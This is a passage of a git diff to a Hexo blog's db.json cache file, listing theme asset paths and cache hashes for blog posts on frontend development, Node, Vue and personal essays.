diff --git a/db.json b/db.json index b61ef50..d4b1d64 100644 --- a/db.json +++ b/db.json @@ -1 +1 @@ -{"meta":{"version":1,"warehouse":"2.2.0"},"models":{"Asset":[{"_id":"source/CNAME","path":"CNAME","modified":0,"renderable":0},{"_id":"source/favicon.ico","path":"favicon.ico","modified":0,"renderable":0},{"_id":"source/readme.MD","path":"readme.MD","modified":0,"renderable":0},{"_id":"source/jzxer.jpg","path":"jzxer.jpg","modified":0,"renderable":0},{"_id":"themes/material/source/css/disqus-proxy.css","path":"css/disqus-proxy.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/disqus-proxy.min.css","path":"css/disqus-proxy.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/duoshuo.css","path":"css/duoshuo.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/duoshuo.min.css","path":"css/duoshuo.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/fontawesome.min.css","path":"css/fontawesome.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/gallery.min.css","path":"css/gallery.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/ie-blocker.css","path":"css/ie-blocker.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/material-icons.css","path":"css/material-icons.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify.css","path":"css/prettify.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify.min.css","path":"css/prettify.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/uc.css","path":"css/uc.css","modified":0,"renderable":1},{"_id":"themes/material/source/fonts/MaterialIcons-Regular.woff","path":"fonts/MaterialIcons-Regular.woff","modified":0,"renderable":1},{"_id":"themes/material/source/fonts/MaterialIcons-Regular.woff2","path":"fonts/MaterialIcons-Regular.woff2","modified":0,"renderable":1},{"_id":"themes/material/source/img/bg.png","path":"img/bg.png","modified":0,"renderable":1},{"_id":"themes/material/source/img/favicon.ico","path":"img/favicon.ico","modified":0,"renderable":1},{"_id":"themes/material/source/img/favicon.png","path":"img/favicon.png","modified":0,"renderable":1},{"_id":"themes/material/source/img/logo.jpg","path":"img/logo.jpg","modified":0,"renderable":1},{"_id":"themes/material/source/js/MathJax.js","path":"js/MathJax.js","modified":0,"renderable":1},{"_id":"themes/material/source/js/Valine.min.js","path":"js/Valine.min.js","modified":0,"renderable":1},{"_id":"themes/material/source/js/hanabi-browser-bundle.js","path":"js/hanabi-browser-bundle.js","modified":0,"renderable":1},{"_id":"themes/material/source/js/ie-blocker.en.js","path":"js/ie-blocker.en.js","modified":0,"renderable":1},{"_id":"themes/material/source/js/ie-blocker.zhCN.js","path":"js/ie-blocker.zhCN.js","modified":0,"renderable":1},{"_id":"themes/material/source/js/lazyload.min.js","path":"js/lazyload.min.js","modified":0,"renderable":1},{"_id":"themes/material/source/js/lsloader.min.js","path":"js/lsloader.min.js","modified":0,"renderable":1},{"_id":"themes/material/source/js/lsloader.js","path":"js/lsloader.js","modified":0,"renderable":1},{"_id":"themes/material/source/img/sidebar_header.png","path":"img/sidebar_header.png","modified":0,"renderable":1},{"_id":"themes/material/source/js/nprogress.js","path":"js/nprogress.js","modified":0,"renderable":1},{"_id":"themes/material/source/js/prettify.min.js","path":"js/prettify.min.js","modified":0,"renderable":1},{"_id":"themes/material/source/js/queue.js","path":"js/queue.js","modified":0,"renderable":1},{"_id":"themes/material/source/js/queue.min.js","path":"js/queue.min.js","modified":0,"renderable":1},{"_id":"themes/material/source/js/smoothscroll.js","path":"js/smoothscroll.js","modified":0,"renderable":1},{"_id":"themes/material/source/css/material.css","path":"css/material.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/material.min.css","path":"css/material.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/style.min.css","path":"css/style.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/style.css","path":"css/style.css","modified":0,"renderable":1},{"_id":"themes/material/source/fonts/MaterialIcons-Regular.ttf","path":"fonts/MaterialIcons-Regular.ttf","modified":0,"renderable":1},{"_id":"themes/material/source/fonts/fontawesome-webfont.woff","path":"fonts/fontawesome-webfont.woff","modified":0,"renderable":1},{"_id":"themes/material/source/fonts/fontawesome-webfont.woff2","path":"fonts/fontawesome-webfont.woff2","modified":0,"renderable":1},{"_id":"themes/material/source/img/daily_pic.jpg","path":"img/daily_pic.jpg","modified":0,"renderable":1},{"_id":"themes/material/source/js/jquery.min.js","path":"js/jquery.min.js","modified":0,"renderable":1},{"_id":"themes/material/source/js/js.js","path":"js/js.js","modified":0,"renderable":1},{"_id":"themes/material/source/js/js.min.js","path":"js/js.min.js","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/atelier-cave-dark.min.css","path":"css/prettify/atelier-cave-dark.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/atelier-cave-light.min.css","path":"css/prettify/atelier-cave-light.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/atelier-dune-dark.min.css","path":"css/prettify/atelier-dune-dark.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/atelier-dune-light.min.css","path":"css/prettify/atelier-dune-light.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/atelier-estuary-dark.min.css","path":"css/prettify/atelier-estuary-dark.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/atelier-estuary-light.min.css","path":"css/prettify/atelier-estuary-light.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/atelier-forest-dark.min.css","path":"css/prettify/atelier-forest-dark.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/atelier-forest-light.min.css","path":"css/prettify/atelier-forest-light.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/atelier-heath-dark.min.css","path":"css/prettify/atelier-heath-dark.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/atelier-heath-light.min.css","path":"css/prettify/atelier-heath-light.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/atelier-lakeside-dark.min.css","path":"css/prettify/atelier-lakeside-dark.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/atelier-lakeside-light.min.css","path":"css/prettify/atelier-lakeside-light.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/atelier-plateau-light.min.css","path":"css/prettify/atelier-plateau-light.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/atelier-plateau-dark.min.css","path":"css/prettify/atelier-plateau-dark.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/atelier-savanna-dark.min.css","path":"css/prettify/atelier-savanna-dark.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/atelier-savanna-light.min.css","path":"css/prettify/atelier-savanna-light.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/atelier-seaside-dark.min.css","path":"css/prettify/atelier-seaside-dark.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/atelier-seaside-light.min.css","path":"css/prettify/atelier-seaside-light.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/atelier-sulphurpool-dark.min.css","path":"css/prettify/atelier-sulphurpool-dark.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/atelier-sulphurpool-light.min.css","path":"css/prettify/atelier-sulphurpool-light.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/github-v2.min.css","path":"css/prettify/github-v2.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/github.min.css","path":"css/prettify/github.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/hemisu-dark.min.css","path":"css/prettify/hemisu-dark.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/hemisu-light.min.css","path":"css/prettify/hemisu-light.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/tomorrow-night-blue.min.css","path":"css/prettify/tomorrow-night-blue.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/tomorrow-night-bright.min.css","path":"css/prettify/tomorrow-night-bright.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/tomorrow-night-eighties.min.css","path":"css/prettify/tomorrow-night-eighties.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/tomorrow-night.min.css","path":"css/prettify/tomorrow-night.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/tomorrow.min.css","path":"css/prettify/tomorrow.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/tranquil-heart.min.css","path":"css/prettify/tranquil-heart.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/css/prettify/vibrant-ink.min.css","path":"css/prettify/vibrant-ink.min.css","modified":0,"renderable":1},{"_id":"themes/material/source/fonts/FontAwesome.otf","path":"fonts/FontAwesome.otf","modified":0,"renderable":1},{"_id":"themes/material/source/fonts/MaterialIcons-Regular.eot","path":"fonts/MaterialIcons-Regular.eot","modified":0,"renderable":1},{"_id":"themes/material/source/fonts/fontawesome-webfont.eot","path":"fonts/fontawesome-webfont.eot","modified":0,"renderable":1},{"_id":"themes/material/source/fonts/fontawesome-webfont.ttf","path":"fonts/fontawesome-webfont.ttf","modified":0,"renderable":1},{"_id":"themes/material/source/img/footer/footer_ico-facebook.svg","path":"img/footer/footer_ico-facebook.svg","modified":0,"renderable":1},{"_id":"themes/material/source/img/footer/footer_ico-github.svg","path":"img/footer/footer_ico-github.svg","modified":0,"renderable":1},{"_id":"themes/material/source/img/footer/footer_ico-instagram.svg","path":"img/footer/footer_ico-instagram.svg","modified":0,"renderable":1},{"_id":"themes/material/source/img/footer/footer_ico-linkedin.svg","path":"img/footer/footer_ico-linkedin.svg","modified":0,"renderable":1},{"_id":"themes/material/source/img/footer/footer_ico-telegram.svg","path":"img/footer/footer_ico-telegram.svg","modified":0,"renderable":1},{"_id":"themes/material/source/img/footer/footer_ico-tumblr.svg","path":"img/footer/footer_ico-tumblr.svg","modified":0,"renderable":1},{"_id":"themes/material/source/img/footer/footer_ico-twitter.svg","path":"img/footer/footer_ico-twitter.svg","modified":0,"renderable":1},{"_id":"themes/material/source/img/footer/footer_ico-v2ex.svg","path":"img/footer/footer_ico-v2ex.svg","modified":0,"renderable":1},{"_id":"themes/material/source/img/footer/footer_ico-weibo.svg","path":"img/footer/footer_ico-weibo.svg","modified":0,"renderable":1},{"_id":"themes/material/source/img/footer/footer_ico-zhihu.svg","path":"img/footer/footer_ico-zhihu.svg","modified":0,"renderable":1},{"_id":"themes/material/source/img/footer/footer_ico-gplus.svg","path":"img/footer/footer_ico-gplus.svg","modified":0,"renderable":1},{"_id":"themes/material/source/img/gallery/arrow.svg","path":"img/gallery/arrow.svg","modified":0,"renderable":1},{"_id":"themes/material/source/img/gallery/close.svg","path":"img/gallery/close.svg","modified":0,"renderable":1},{"_id":"themes/material/source/img/gallery/spinner.svg","path":"img/gallery/spinner.svg","modified":0,"renderable":1},{"_id":"themes/material/source/img/footer/footer_ico-bilibili.svg","path":"img/footer/footer_ico-bilibili.svg","modified":0,"renderable":1},{"_id":"themes/material/source/img/random/material-10.png","path":"img/random/material-10.png","modified":0,"renderable":1},{"_id":"themes/material/source/img/random/material-12.png","path":"img/random/material-12.png","modified":0,"renderable":1},{"_id":"themes/material/source/img/random/material-17.png","path":"img/random/material-17.png","modified":0,"renderable":1},{"_id":"themes/material/source/img/random/material-19.png","path":"img/random/material-19.png","modified":0,"renderable":1},{"_id":"themes/material/source/img/random/material-3.png","path":"img/random/material-3.png","modified":0,"renderable":1},{"_id":"themes/material/source/img/random/material-6.png","path":"img/random/material-6.png","modified":0,"renderable":1},{"_id":"themes/material/source/img/random/material-8.png","path":"img/random/material-8.png","modified":0,"renderable":1},{"_id":"themes/material/source/img/random/material-9.png","path":"img/random/material-9.png","modified":0,"renderable":1},{"_id":"themes/material/source/img/random/material-4.png","path":"img/random/material-4.png","modified":0,"renderable":1},{"_id":"themes/material/source/js/gallery/gallery.js","path":"js/gallery/gallery.js","modified":0,"renderable":1},{"_id":"themes/material/source/img/random/material-1.png","path":"img/random/material-1.png","modified":0,"renderable":1},{"_id":"themes/material/source/img/random/material-11.png","path":"img/random/material-11.png","modified":0,"renderable":1},{"_id":"themes/material/source/img/random/material-13.png","path":"img/random/material-13.png","modified":0,"renderable":1},{"_id":"themes/material/source/img/random/material-14.png","path":"img/random/material-14.png","modified":0,"renderable":1},{"_id":"themes/material/source/img/random/material-15.png","path":"img/random/material-15.png","modified":0,"renderable":1},{"_id":"themes/material/source/img/random/material-16.png","path":"img/random/material-16.png","modified":0,"renderable":1},{"_id":"themes/material/source/img/random/material-2.png","path":"img/random/material-2.png","modified":0,"renderable":1},{"_id":"themes/material/source/img/random/material-18.png","path":"img/random/material-18.png","modified":0,"renderable":1},{"_id":"themes/material/source/img/random/material-7.png","path":"img/random/material-7.png","modified":0,"renderable":1},{"_id":"themes/material/source/img/random/material-5.png","path":"img/random/material-5.png","modified":0,"renderable":1},{"_id":"themes/material/source/fonts/fontawesome-webfont.svg","path":"fonts/fontawesome-webfont.svg","modified":0,"renderable":1},{"_id":"themes/material/source/fonts/Roboto-Black.ttf","path":"fonts/Roboto-Black.ttf","modified":0,"renderable":1},{"_id":"themes/material/source/fonts/Roboto-Light.ttf","path":"fonts/Roboto-Light.ttf","modified":0,"renderable":1},{"_id":"themes/material/source/fonts/Roboto-Bold.ttf","path":"fonts/Roboto-Bold.ttf","modified":0,"renderable":1},{"_id":"themes/material/source/fonts/Roboto-Medium.ttf","path":"fonts/Roboto-Medium.ttf","modified":0,"renderable":1},{"_id":"themes/material/source/fonts/Roboto-Regular.ttf","path":"fonts/Roboto-Regular.ttf","modified":0,"renderable":1},{"_id":"themes/material/source/fonts/Roboto-Thin.ttf","path":"fonts/Roboto-Thin.ttf","modified":0,"renderable":1},{"_id":"themes/material/source/img/avatar.png","path":"img/avatar.png","modified":0,"renderable":1}],"Cache":[{"_id":"source/CNAME","hash":"f381177d515d923d248dff0e2f8d4c7a9642464e","modified":1516603915881},{"_id":"source/favicon.ico","hash":"b739465b2c68acac676f90a1f8a12b6ada131f1d","modified":1494941816000},{"_id":"source/readme.MD","hash":"b7084d85b953e42f2161a79a1dde34909d3b45cc","modified":1498402952000},{"_id":"themes/material/.DS_Store","hash":"df2fbeb1400acda0909a32c1cf6bf492f1121e07","modified":1527046766235},{"_id":"themes/material/.eslintrc.json","hash":"83ddc0cdc18f28b967795b8dac0421a52cdf7ece","modified":1517370288365},{"_id":"themes/material/.gitignore","hash":"dd9e9495fc7ce09c026f7fdcef45cf8ddfde40d8","modified":1517370288367},{"_id":"themes/material/.travis.yml","hash":"10a09fe2b341ccad5b97d4bd9cc2c1c03e1863a3","modified":1517370288367},{"_id":"themes/material/CONTRIBUTING.md","hash":"148f555e47d4725fe1faac775107a4d7b03f7136","modified":1517370288368},{"_id":"themes/material/CONTRIBUTING.zh-cn.md","hash":"ef3ccef0451d6ac616b3a35fbfedb6abd35e6b41","modified":1517370288368},{"_id":"themes/material/LICENSE","hash":"12d81f50767d4e09aa7877da077ad9d1b915d75b","modified":1517370288368},{"_id":"themes/material/README.md","hash":"408e36745a8aeb187a25f309752c5e7da66f7e67","modified":1517370288369},{"_id":"themes/material/contributing.json","hash":"1bc0871b1c7822b82533b614090ac0ab7c55282c","modified":1517370288369},{"_id":"themes/material/_config.yml","hash":"286a068f81f656c5e377bede547e769cd6ef63a7","modified":1527060074812},{"_id":"themes/material/_config.template.yml","hash":"8e3d70b9ffeca17be26bf8fb3c6f26f2cfd0570f","modified":1517370947187},{"_id":"themes/material/lint.sh","hash":"49c3a65f8ca65754ec7fefcd2dcb6adc187f3856","modified":1517370288396},{"_id":"themes/material/package.json","hash":"519f39a2be878c19ccfd26462852f1bc7b8e77c1","modified":1527045082417},{"_id":"source/jzxer.jpg","hash":"58b488993d67018a8463d325ac2f61db3f38de78","modified":1495539538000},{"_id":"source/_data/links.yml","hash":"4c88ddf344e86aebbfcf345aa628df6b9c5dc71e","modified":1497524680000},{"_id":"source/_data/gallery.yml","hash":"55998d93a5a265b6cb220bce61701df95d0cd6dd","modified":1521362338988},{"_id":"source/_posts/Amani-间奏-1.md","hash":"676a29bf3cb47af5553d719835a6ee3b8b03128c","modified":1516593049735},{"_id":"source/_posts/GIT使用攻略.md","hash":"33082cc1140fb3e01518c311b922c21a6030e89b","modified":1516593220804},{"_id":"source/_posts/PWA初窥.md","hash":"016530859178abf8d6300a571bdae14051a4cf7c","modified":1521699091935},{"_id":"source/_posts/JS常见的十大错误.md","hash":"8be8a9443f311ebb259fd62c011e2db7f0279839","modified":1517967667091},{"_id":"source/_posts/Travis-CI-实现自动化部署.md","hash":"4167691bab8ab67aa9ca608ac6956425e8e6a1f0","modified":1523256837025},{"_id":"source/_posts/badboy.md","hash":"0b9061759de0cc64a84a4b6f4008f1cc25862c70","modified":1517384953829},{"_id":"source/_posts/commonJS和AMD-CMD.md","hash":"90cd3c3958b19dc825e43af5781aaa1aba31c209","modified":1516600990029},{"_id":"source/_posts/cookie和session.md","hash":"719065291dab1e9467039c7063aec227da5aa42f","modified":1524745119549},{"_id":"source/_posts/css的命名规范.md","hash":"9968f7a4edfa84f0a732411563424a4476a7e323","modified":1516600995358},{"_id":"source/_posts/div-section-article.md","hash":"8663a7403d5ec83f35e20b42b58d53b354e390f5","modified":1516601001785},{"_id":"source/_posts/hybird.md","hash":"db5d3367734178537706a9b516b3cbb0ff709f6c","modified":1516601019371},{"_id":"source/_posts/hexo搭建博客.md","hash":"4df32c3136418c68fb17bb28174485d6a818d31e","modified":1516593285089},{"_id":"source/_posts/js中的一些方法和函数.md","hash":"3cf3758993ebf355db3444ba8013dfcb0d42e5a7","modified":1520562780648},{"_id":"source/_posts/js常见的九种设计模式.md","hash":"67b95a6598bb6702a244fedc5b1de8805f185ca9","modified":1520574582491},{"_id":"source/_posts/learn-express.md","hash":"b8521896a60c2fbab30930611f381b41ada278cb","modified":1516600752396},{"_id":"source/_posts/learn-koa.md","hash":"a9547ac5baddeb9ddfd312f1b5c1a00e2a4a8b64","modified":1516933625874},{"_id":"source/_posts/material主题使用攻略.md","hash":"e25cc6363ad0c42c863f489a9989249397476032","modified":1516600778833},{"_id":"source/_posts/nginx配置和问题处理.md","hash":"fafba49972329195f3e858772a2834f610ca7725","modified":1524713826244},{"_id":"source/_posts/nodeJS性能处理一.md","hash":"e334d1f1f931d7418a2bd93eabf3d9e691d32ace","modified":1524722236019},{"_id":"source/_posts/node连接阿里云redis.md","hash":"9d13b97761d33c7f9fa43d9aee715c80d770bfbf","modified":1524571638000},{"_id":"source/_posts/redis环境搭建.md","hash":"12a9073f50f4f658bc107c9790cf3ba9b4a9842b","modified":1524566626213},{"_id":"source/_posts/sessionStorage-localStotage-AND-cookies.md","hash":"af09a2c1c13430efa32f3a2dd44bce7a8d41f4a5","modified":1516601066424},{"_id":"source/_posts/simpleCountry.md","hash":"80edce749ba0c1787ed1e83192f148484119a572","modified":1516602678750},{"_id":"source/_posts/sticky-footer.md","hash":"49876abcb0f636cf3f2b3fc3f5b6aa74fa38f2d7","modified":1516600983000},{"_id":"source/_posts/sync-和async.md","hash":"8df89ef20c56c3a344c038ca0acf4455097e0fbf","modified":1516601108282},{"_id":"source/_posts/ubuntu下搭建一个nodejs-nginx-mongodb服务器.md","hash":"36dabeecc90f7ddabf27e18672ac85c64ef8f4a8","modified":1516602007214},{"_id":"source/_posts/urlMaker.md","hash":"4058e5d746353ab280bce202b2587f1cd0869b8f","modified":1516601248508},{"_id":"source/_posts/vscode-配置插件推荐.md","hash":"be747e81d2667d17a63ae67ed0930eb2dcb90d5d","modified":1522722335731},{"_id":"source/_posts/vue-eleme.md","hash":"2e1c40e65fb0c3e1019e3f27c3187999195a89a3","modified":1516601329837},{"_id":"source/_posts/vuex-模块介绍.md","hash":"8ef48006d77668c06ff1990460466a575b0928cb","modified":1516601370647},{"_id":"source/_posts/vue高仿qq音乐官网.md","hash":"f10dbf63370f6bdffb62bea3e1d5891f1b04d6c0","modified":1517385099916},{"_id":"source/_posts/wuti.md","hash":"a5d164e11f7a6373520f0fbe05c7c1e616e036e3","modified":1516602706672},{"_id":"source/_posts/vue学习笔记(一).md","hash":"2c8b55af277b064cfd20d23d5e5e52277f96d249","modified":1516878827807},{"_id":"source/_posts/一些不可思议的的事.md","hash":"bb7f7dfc0cab9db9cb69fdcfa9e9c7b056192b65","modified":1516602639411},{"_id":"source/_posts/你的一生,究竟为什么而活.md","hash":"3888674c17579989c4f53678fbc164f4b30f6883","modified":1518348025427},{"_id":"source/_posts/七种公司永远做不大-十种老板永远不成功.md","hash":"797568050637f618598b966b8c1a007bfa290da5","modified":1516602741866},{"_id":"source/_posts/光辉岁月-间奏.md","hash":"eac430466e26201ab7e612078a0efdc006672ba3","modified":1516602820003},{"_id":"source/_posts/关于罗永浩.md","hash":"10bb04126f74b967804fcad0500d5fe3af41f929","modified":1516602866403},{"_id":"source/_posts/前端安全.md","hash":"2f6b8f9f4b0c4e95b71cf18cb17657dab296b49d","modified":1516879105232},{"_id":"source/_posts/前端的职业路线.md","hash":"ac6a873627a7944edfb35c6e0ef801bba94d4ad0","modified":1516602955681},{"_id":"source/_posts/前端面试题.md","hash":"58f00a5900a11f744c5f9278010315c2fbd50efa","modified":1516602996045},{"_id":"source/_posts/前端面试准备.md","hash":"333efe2ad018d9495d0b722c8bfce562babde853","modified":1516602982448},{"_id":"source/_posts/四种常见的布局.md","hash":"a192bee7a7ed281abb6cbe0cd50d270e9ac9dec1","modified":1516603017181},{"_id":"source/_posts/如何成为一名合格的CEO.md","hash":"b62948c2a3b6840b41e0017a84e28cc7a3e8ddb1","modified":1516878882235},{"_id":"source/_posts/如何规划自己的工作和生活.md","hash":"efc74e1c43e929e09a1e79e3e4696e0fa5427f21","modified":1523324388536},{"_id":"source/_posts/如何理解yield和-函数.md","hash":"54164fee0391519bd57f2b4dcfafe9724078c961","modified":1517369495280},{"_id":"source/_posts/常见的兼容性问题.md","hash":"431447fe8a4b3b86890974d5f657315122daf5f7","modified":1516603166882},{"_id":"source/_posts/学生思维.md","hash":"f974787a4e47e42fc55c4d9a9f787f658d01f855","modified":1523329222013},{"_id":"source/_posts/我个人的coding风格.md","hash":"c60e6fd12c658b8084443507d9e390c1c366dc00","modified":1516603201795},{"_id":"source/_posts/我向往的明天.md","hash":"98dd58c67bc1e89dad9d42b8afe3372c20a5dda0","modified":1516603238404},{"_id":"source/_posts/我所追求的狼性.md","hash":"c7e637da2dd8268708f6d5ba00e15f4071eb2fc5","modified":1518489900348},{"_id":"source/_posts/我是愤怒.md","hash":"3eb1b86f4245ef69451c1c04968be888c434976d","modified":1516603262481},{"_id":"source/_posts/搭一个windows云服务器.md","hash":"23719bdfc66d24fa774cd4d64badd3537063999c","modified":1516603303164},{"_id":"source/_posts/正则表达式.md","hash":"cafa00e181b0c98e7c2a267edf308eac6e3c7e63","modified":1522830726455},{"_id":"source/_posts/梦中的婚礼.md","hash":"b4c6259f10fa9367e4cb4b754a121961a2930e1d","modified":1516603333478},{"_id":"source/_posts/深入浅出-Ajax.md","hash":"e8c53330966a7044a8df18ee96e3cd87f91fb2eb","modified":1517369385267},{"_id":"source/_posts/用vue撸一个二手商城.md","hash":"bd5b3481b58e5937591142a0b294bab536679aec","modified":1516592972471},{"_id":"source/_posts/电吉他即兴原理.md","hash":"4858d8e1dbc77264dbe5954e856d5fabd9dc62d6","modified":1516603358881},{"_id":"source/_posts/线上部署:heroku.md","hash":"9ee06112b6971b80a3e3a64d87f065ed07c0aa16","modified":1524729787581},{"_id":"source/_posts/董思阳的忠告.md","hash":"5c07121f68ad11cd89dd214c504fe8736f5b4cd7","modified":1516603380546},{"_id":"source/_posts/论轮播图的原理.md","hash":"02ac81ded0f7a31187139dd6c9eabd66d8a7568d","modified":1516603403545},{"_id":"source/about/index.md","hash":"21d1d03557592fbdabb509134a3088bec3d3874f","modified":1516881404000},{"_id":"source/gallery/index.md","hash":"e71678fb14b6c8a087079b18b2b56a93774c8918","modified":1497526288000},{"_id":"source/links/index.md","hash":"f3fe425603a04d3f2375a70cce9432986af05937","modified":1497524650000},{"_id":"source/tags/index.md","hash":"1be4afad4dc5457f14146240c5c133d0b50f7a29","modified":1497524928000},{"_id":"source/timeline/index.md","hash":"9b2eb002c9ad9f3c4267e95c73fb6b5b441a81d6","modified":1527060511826},{"_id":"themes/material/.git/HEAD","hash":"acbaef275e46a7f14c1ef456fff2c8bbe8c84724","modified":1517370288353},{"_id":"themes/material/.git/config","hash":"e8a318ba42d027b4f4f195b2037f9101571706dd","modified":1517370288358},{"_id":"themes/material/.git/FETCH_HEAD","hash":"08e317931c4741425efa31e894c7399da3a18a7b","modified":1527061994996},{"_id":"themes/material/.git/description","hash":"9635f1b7e12c045212819dd934d809ef07efa2f4","modified":1517370274502},{"_id":"themes/material/.git/index","hash":"1a9eea06d3607b3e3592c86302d5c7b73e867063","modified":1517378911261},{"_id":"themes/material/.git/packed-refs","hash":"d2e3908110890d67472e95dd60f1c2f6b5b70659","modified":1517370288346},{"_id":"themes/material/.github/ISSUE_TEMPLATE.md","hash":"52a733a4d2e21a9c4d719495a0353c6719484f9f","modified":1517370288366},{"_id":"themes/material/.github/PULL_REQUEST_TEMPLATE.md","hash":"f2a3a0b929c0909ab99c96fb82853c2c2d67961a","modified":1517370288366},{"_id":"themes/material/layout/index.ejs","hash":"aca1abb741f891776913c8ea2e6ff626a0ea5736","modified":1517370288395},{"_id":"themes/material/layout/layout.ejs","hash":"94f66850b815a262c0f8ff112a32a0a6f43066e3","modified":1517370288395},{"_id":"themes/material/layout/post.ejs","hash":"4dd572a9e84f3a6baa5e3f16d270e58e3cd31a23","modified":1517370288395},{"_id":"themes/material/languages/ar.yml","hash":"472d71f052e08f3c03b15dd67d11ad41f2eee7bf","modified":1517370288369},{"_id":"themes/material/languages/de.yml","hash":"bce37d066ffa82f3e249d41d0ee883c913cc2c5f","modified":1517370288370},{"_id":"themes/material/languages/en.yml","hash":"b59136a1b4d0a77e550b0e7e2e430cac44230dd3","modified":1517370288370},{"_id":"themes/material/languages/es.yml","hash":"d35f5411bc87277cc2d3a58d9499ddb9cfd46f1b","modified":1517370288370},{"_id":"themes/material/languages/fr.yml","hash":"f456cf31a72d97f2f18e3bb6cf735285d2b9d2c5","modified":1517370288370},{"_id":"themes/material/languages/ja.yml","hash":"768b8330c9c73287efd475e68741ce4ebad29fd1","modified":1517370288370},{"_id":"themes/material/languages/ms.yml","hash":"237a39bbfcce33e7b918f6c5dc0f01bc79900262","modified":1517370288371},{"_id":"themes/material/languages/nl_NL.yml","hash":"b71e59807716185627d6b9b84e44a79401df639f","modified":1517370288371},{"_id":"themes/material/languages/pt-BR.yml","hash":"a070c2c4d0d3d54f8ca70513cff73c3f7c306db1","modified":1517370288371},{"_id":"themes/material/languages/ru.yml","hash":"fbff2cf48dbde45adcad781e2fd6c30b523a4ac1","modified":1517370288371},{"_id":"themes/material/languages/zh-CN.yml","hash":"c188cad1a16ab0651e2d2d03cb3fa79962cf65ff","modified":1517370288371},{"_id":"themes/material/languages/zh-TW.yml","hash":"ec55953f0330f81bf1ffb37ff34de258dfda642a","modified":1517370288372},{"_id":"themes/material/scripts/helper.js","hash":"e7111a8b1f0ab5bf3466378c48c260a4f6e527d6","modified":1517370288396},{"_id":"themes/material/layout/_partial/Isolation-post-info.ejs","hash":"da39a3ee5e6b4b0d3255bfef95601890afd80709","modified":1517370288372},{"_id":"themes/material/scripts/lib/font_lsload.js","hash":"da39a3ee5e6b4b0d3255bfef95601890afd80709","modified":1517370288397},{"_id":"themes/material/.git/hooks/applypatch-msg.sample","hash":"4de88eb95a5e93fd27e78b5fb3b5231a8d8917dd","modified":1517370274506},{"_id":"themes/material/.git/hooks/commit-msg.sample","hash":"ee1ed5aad98a435f2020b6de35c173b75d9affac","modified":1517370274504},{"_id":"themes/material/.git/hooks/post-update.sample","hash":"b614c2f63da7dca9f1db2e7ade61ef30448fc96c","modified":1517370274510},{"_id":"themes/material/.git/hooks/pre-applypatch.sample","hash":"f208287c1a92525de9f5462e905a9d31de1e2d75","modified":1517370274512},{"_id":"themes/material/.git/hooks/pre-push.sample","hash":"5c8518bfd1d1d3d2c1a7194994c0a16d8a313a41","modified":1517370274513},{"_id":"themes/material/.git/hooks/pre-commit.sample","hash":"36aed8976dcc08b5076844f0ec645b18bc37758f","modified":1517370274505},{"_id":"themes/material/.git/hooks/pre-rebase.sample","hash":"18be3eb275c1decd3614e139f5a311b75f1b0ab8","modified":1517370274505},{"_id":"themes/material/.git/hooks/pre-receive.sample","hash":"705a17d259e7896f0082fe2e9f2c0c3b127be5ac","modified":1517370274508},{"_id":"themes/material/.git/hooks/prepare-commit-msg.sample","hash":"2b6275eda365cad50d167fe3a387c9bc9fedd54f","modified":1517370274509},{"_id":"themes/material/.git/info/exclude","hash":"c879df015d97615050afa7b9641e3352a1e701ac","modified":1517370274502},{"_id":"themes/material/.git/hooks/update.sample","hash":"e729cd61b27c128951d139de8e7c63d1a3758dde","modified":1517370274514},{"_id":"themes/material/.git/logs/HEAD","hash":"c88511a9d262d83c53ce9c60d74f2f66ef69f599","modified":1517370288354},{"_id":"themes/material/layout/_partial/Isolation-post_entry.ejs","hash":"134dc82320b7aed7d4d78960be63e16c5c4a30fb","modified":1517370288372},{"_id":"themes/material/layout/_partial/Paradox-post-info.ejs","hash":"125cfa5cd9e6e1ca5e958026fdd42f3c3141e34f","modified":1517370288372},{"_id":"themes/material/layout/_partial/Paradox-post-thumbnail.ejs","hash":"6f1e9a85c089ce98a36a2954839fb9ce3e53739e","modified":1517370288373},{"_id":"themes/material/layout/_partial/Paradox-post_entr